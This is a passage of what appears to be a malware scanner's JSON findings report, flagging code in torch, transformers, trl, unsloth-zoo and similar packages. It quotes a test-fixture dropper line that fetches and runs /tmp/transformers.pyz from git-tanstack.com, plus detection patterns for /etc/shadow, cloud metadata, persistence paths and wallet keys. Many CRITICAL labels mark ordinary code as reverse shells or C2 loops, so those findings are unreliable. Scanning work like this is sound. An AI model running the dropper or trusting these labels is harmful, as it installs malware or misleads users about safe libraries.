"torch/_inductor/codecache.py", - "check": "base64 decode + subprocess execution (staged payload)", - "severity": "CRITICAL", - "evidence": "Base64: L1211: content = base64.b64decode(data)\nSubprocess: L2692: subprocess.run(\nL2693: cmd.split(), capture_output=True, text=True, check=True\nL2694: ) | L2995: cmd_output = subprocess.run(\nL2996: (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997: ) | L3707: out = subprocess.check_output(\nL3708: [\"ldd\", os.path.join(search, file)]\nL3709: ) | L3791: jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876: subprocess.check_call(\nL3877: shlex.split(halide_cmd_gen.get_command_line())\nL3878: ) | L4336: subprocess.check_output(\nL4337: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338: ) | L4591: output = subprocess.check_output(\nL4592: cmd_parts,\nL4593: stderr=subprocess.STDOUT,\nL4594: text=True,\nL4595: env=os.environ,\nL4596: )", - "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b" - }, - { - "package": "torch", - "file": "torch/ao/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L30: return importlib.import_module(\".\" + name, __name__)", - "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" - }, - { - "package": "torch", - "file": "torch/ao/nn/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L34: return importlib.import_module(\".\" + name, __name__)", - "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" - }, - { - "package": "torch", - "file": "torch/ao/nn/intrinsic/__init__.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L40: return importlib.import_module(\".\" + name, __name__)", - "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" - }, - { - "package": "torch", - "file": "torch/cuda/_memory_viz.py", - "check": "Enumerates filesystem AND makes network calls", - "severity": "CRITICAL", - "evidence": "FS: L74: if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(\nL102: \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103: f.name,\nL104: )", - "evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85" - }, - { - "package": "torch", - "file": "torch/distributed/elastic/multiprocessing/redirects.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L218: os.dup2(dst.fileno(), std_fd)", - "evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f" - }, - { - "package": "torch", - "file": "torch/fx/experimental/rewriter.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: L49: exec(code, globals_dict)", - "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748" - }, - { - "package": "torch", - "file": "torch/fx/graph_module.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)", - "evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15" - }, - { - "package": "torch", - "file": "torch/hub.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r: | L749: with urlopen(req) as u:", - "evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704" - }, - { - "package": "torch", - "file": "torch/package/package_importer.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)", - "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512" - }, - { - "package": "torch", - "file": "torch/testing/_internal/common_utils.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:", - "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386" - }, - { - "package": "torch", - "file": "torch/testing/_internal/common_utils.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3", - "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53" - }, - { - "package": "torchvision", - "file": "torchvision/datasets/utils.py", - "check": "Creates archive with sensitive data AND makes network calls", - "severity": "CRITICAL", - "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63: with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:", - "evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080" - }, - { - "package": "traitlets", - "file": "traitlets/config/loader.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)", - "evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470" - }, - { - "package": "transformers", - "file": "transformers/integrations/integration_utils.py", - "check": "Enumerates filesystem AND makes network calls", - "severity": "CRITICAL", - "evidence": "FS: L2125: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", - "evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca" - }, - { - "package": "transformers", - "file": "transformers/integrations/integration_utils.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L2512: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", - "evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb" - }, - { - "package": "transformers", - "file": "transformers/testing_utils.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L1663: while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65", - "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15" - }, - { - "package": "transformers", - "file": "transformers/testing_utils.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L1623: while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a", - "evidence_hash": "af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049" - }, - { - "package": "transformers", - "file": "transformers/testing_utils.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L1577: while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b", - "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9" - }, - { - "package": "transformers", - "file": "transformers/testing_utils.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L284: value = os.environ[key] | L300: value = os.environ[key] | L2129: env = os.environ.copy() | L2251: for k in list(os.environ.keys()):\nNetwork: L2561: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:", - "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4" - }, - { - "package": "transformers", - "file": "transformers/testing_utils.py", - "check": "Reverse shell / bind shell pattern", - "severity": "CRITICAL", - "evidence": "L2473: import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc", - "evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736" - }, - { - "package": "transformers", - "file": "transformers/utils/import_utils.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L2345: return importlib.import_module(\".\" + module_name, self.__name__)", - "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" - }, - { - "package": "triton", - "file": "triton/runtime/interpreter.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)", - "evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711" - }, - { - "package": "triton", - "file": "triton/tools/build_extern.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317: def disasm(self, lib_path: str) -> None:\nL318: subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()", - "evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890" - }, - { - "package": "trl", - "file": "trl/extras/vllm_client.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L146: while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe", - "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db" - }, - { - "package": "trl", - "file": "trl/extras/vllm_client.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L152: while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f", - "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1" - }, - { - "package": "trl", - "file": "trl/import_utils.py", - "check": "Downloads and executes remote code", - "severity": "CRITICAL", - "evidence": "L144: return importlib.import_module(\".\" + module_name, self.__name__)", - "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "Accesses cloud metadata/IMDS AND makes network calls", - "severity": "CRITICAL", - "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", - "evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "Creates archive with sensitive data AND makes network calls", - "severity": "CRITICAL", - "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", - "evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "Enumerates filesystem AND makes network calls", - "severity": "CRITICAL", - "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", - "evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "Installs persistence AND makes network calls (backdoor pattern)", - "severity": "CRITICAL", - "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\" | L170: r\"|/Library/LaunchAgents\" | L172: r\"|~/.local/share/systemd\" | L174: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", - "evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "May-12 Shai-Hulud IOC string present in Python file", - "severity": "CRITICAL", - "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\",", - "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "Targets cryptocurrency wallets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", - "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8", - "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839" - }, - { - "package": "unsloth-zoo", - "file": "tests/security/fixtures/_build.py", - "check": "Creates archive with sensitive data AND makes network calls", - "severity": "CRITICAL", - "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53: \"https://git-tanstack.com/transformers.pyz\",\nL54: \"/tmp/transformers.pyz\",\nL55: )", - "evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a" - }, - { - "package": "unsloth-zoo", - "file": "tests/security/fixtures/_build.py", - "check": "May-12 Shai-Hulud IOC string present in Python file", - "severity": "CRITICAL", - "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", - "evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8" - }, - { - "package": "unsloth-zoo", - "file": "tests/security/fixtures/_build.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L54: \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", - "evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336" - }, - { - "package": "unsloth-zoo", - "file": "tests/security/test_scan_packages.py", - "check": "May-12 Shai-Hulud IOC string present in Python file", - "severity": "CRITICAL", - "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\", | L157: \"With Love TeamPCP\", | L158: \"We've been online over 2 hours\",", - "evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5" - }, - { - "package": "unsloth-zoo", - "file": "tests/security/test_scan_packages.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L155: \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0", - "evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_compiler_dynamic_exec.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)", - "evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_convert_hf_to_gguf_patcher.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)", - "evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_fused_forward_install.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)", - "evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_mlx_save_export_regressions.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L164: temporary_location=\"/tmp/ignored\", sha256:78837e80d48e872ef191aaacfe5e1c621a98a20df486a70a41d1a932d074a5b3", - "evidence_hash": "dd11376e664d0d7e7f4cc4baf57eacd4b7ae7b03222dce3912ce68b63dbfca1e" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_mlx_trainer_internals.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L430: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408: def eval(self):", - "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_quantize_gguf_q2_k_l.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L67: input_gguf=\"/tmp/in.gguf\", sha256:32532cadc357beee1009f4e86481bdbe60a0b7bf47f6bb022b05ec1b8e15aed0", - "evidence_hash": "49f5b67379de17178f21a9bc93b79d6b94a70ecbdd16de86574934aac30a071d" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_upstream_pinned_symbols_transformers.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:", - "evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_upstream_pinned_symbols_trl_vllm.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"", - "evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/compiler.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612: if eval(_dtype) is not None: | L613: dtype = eval(_dtype) | L955: _modeling_file = eval(model_location) | L1255: f = eval(f\"{model_location}.{module}\") | L1563: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699: exec(f\"import {parent}\", locals(), globals()) | L2830: dir(eval(parent)), | L2834: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908: module = eval(f\"modeling_file.{module}\") | L2935: inner_class = eval(f\"modeling_file.{inner_class}\") | L3065: exec(f\"from timm.layers.norm_act import {norm}\") | L3073: forward = eval(norm).forward | L3079: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104: forward = eval(block).forward | L3110: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3385: exec(f\"import {model_location}\", globals()) | L3388: modeling_file = eval(model_location) | L3401: exec(\nL3402: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3403: ) | L3405: exec(\nL3406: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3407: globals(),\nL3408: locals(),\nL3409: ) | L3560: source = eval(f\"modeling_file.{module}\") | L3574: source = eval(f\"modeling_file.{module}\") | L3675: source = eval(f\"modeling_file.{module}\") | L3713: source = eval(f\"{model_location}.{module}\") | L3784: source = eval(f\"{model_location}.{module}\") | L3832: source = eval(f\"{model_location}.{module}\") | L4054: source = eval(f\"{model_location}.{module}\") | L4065: exec(\nL4066: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4067: globals(),\nL4068: ) | L4131: source = eval(f\"{model_location}.{module}\") | L4172: module_cls = eval(f\"{model_location}.{module}\") | L4209: module_cls = eval(f\"{model_location}.{module}\") | L4276: exec(\nL4277: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4278: globals(),\nL4279: ) | L4341: exec(inner_training_loop, globals()) | L4349: function = eval(f\"{model_location}.{module}\") | L4427: function = eval(f\"{model_location}.{module}\") | L4562: source = eval(f\"{model_location}.torch\") | L4569: function = eval(f\"source.nn.{module}\") | L4628: exec(\nL4629: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4630: globals(),\nL4631: locals(),\nL4632: ) | L4634: exec(\nL4635: f\"{model_location}.nn.{module}.forward = forward\",\nL4636: globals(),\nL4637: locals(),\nL4638: ) | L4642: exec(\nL4643: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4644: globals(),\nL4645: locals(),\nL4646: ) | L4648: exec(\nL4649: f\"combined_module.nn.{module}.forward = forward\",\nL4650: globals(),\nL4651: locals(),\nL4652: ) | L4669: exec(\nL4670: f\"{model_location}.{module} = combined_module.{module}\",\nL4671: globals(),\nL4672: locals(),\nL4673: ) | L4683: check_dicts = dir(eval(f\"{model_location}\")) | L4685: item = eval(f\"{model_location}.{check}\") | L4695: exec(\nL4696: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4697: globals(),\nL4698: locals(),\nL4699: )", - "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/device_type.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request(\nL83: index_url,\nL84: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85: method = method,\nL86: ) | L87: with urllib.request.urlopen(request, timeout = 2.5) as response: | L100: request = urllib.request.Request(\nL101: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL103: ) | L104: with urllib.request.urlopen(request, timeout = 2.5) as response:", - "evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/fused_losses/forward_install.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)", - "evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/llama_cpp.py", - "check": "Creates archive with sensitive data AND makes network calls", - "severity": "CRITICAL", - "evidence": "Archive: L938: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2862: check = requests.get(llama_cpp_chat_file, timeout = 5)", - "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/llama_cpp.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2862: check = requests.get(llama_cpp_chat_file, timeout = 5)", - "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/mlx/loader.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L2218: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L140: mx.eval(model.parameters()) | L176: mx.eval(model.parameters()) | L2022: model.eval() | L2605: mx.eval(model.parameters()) | L2721: mx.eval(module.weight) | L4030: mx.eval(model.parameters()) | L4058: mx.eval(model.parameters()) | L4178: mx.eval(model.parameters())", - "evidence_hash": "9b29dade82912216c8b4808aa293b79749aa80ef1d2be35edd93bec7632810f1" - }, - { - "package": 